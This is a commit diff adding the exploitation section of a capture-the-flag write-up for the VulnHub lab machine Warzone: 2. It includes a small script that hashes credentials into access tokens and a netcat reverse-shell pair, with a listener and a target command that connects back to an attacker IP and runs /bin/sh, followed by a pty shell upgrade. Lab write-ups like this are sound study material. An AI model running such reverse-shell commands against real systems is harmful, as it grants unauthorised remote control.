Skip to content

Commit 64c2543

Browse files
committed
Exploitation
1 parent 5f117c5 commit 64c2543

File tree

6 files changed

+51
-0
lines changed

6 files changed

+51
-0
lines changed

VulnHub/Warzone: 2/README.md

+39
Original file line numberDiff line numberDiff line change
@@ -68,6 +68,45 @@ The main vulnerability is this. But i don't know about backend of 1337 port. May
6868

6969
## Exploitation
7070

71+
### Token
72+
73+
[Script to create a token](token.py)
74+
75+
Successfully got access with 'lower' credentials.
76+
77+
![access](screenshots/1337_access.png)
78+
79+
But we don't have shell yet.
80+
81+
### Shell
82+
83+
Get shell is easy:
84+
85+
Local:
86+
```
87+
nc -lnvp 4444
88+
```
89+
Target:
90+
```
91+
nc 192.168.88.225 4444 -c /bin/sh
92+
```
93+
So, after target connected to us, it will open a shell.
94+
95+
![shell](screenshots/shell.png)
96+
97+
```
98+
python -c 'import pty;pty.spawn("/bin/bash")'
99+
```
100+
User - `www-data`.
101+
102+
### ssh flagman
103+
104+
In flagman home directory:
105+
106+
![warzone](screenshots/warzone.png)
107+
108+
Now we have a good shell and ssh access.
109+
71110
## Post exploitation
72111

73112
## Sources
+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
i_hate_signals!
17.8 KB
Loading
7.91 KB
Loading
44 KB
Loading

VulnHub/Warzone: 2/token.py

+11
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
import hashlib
2+
3+
username = open('creds/1337_username.txt', 'r').read()[:-1]
4+
password = open('creds/1337_password.txt', 'r').read()[:-1]
5+
user_pass_upper = username.encode('utf-8') + password.encode('utf-8')
6+
upper_token = hashlib.sha256(user_pass_upper).hexdigest()
7+
print(user_pass_upper, upper_token)
8+
user_pass_lower = username.lower().encode('utf-8') + password.lower().encode('utf-8')
9+
lower_token = hashlib.sha256(user_pass_lower).hexdigest()
10+
print(user_pass_lower, lower_token)
11+

0 commit comments

Comments
 (0)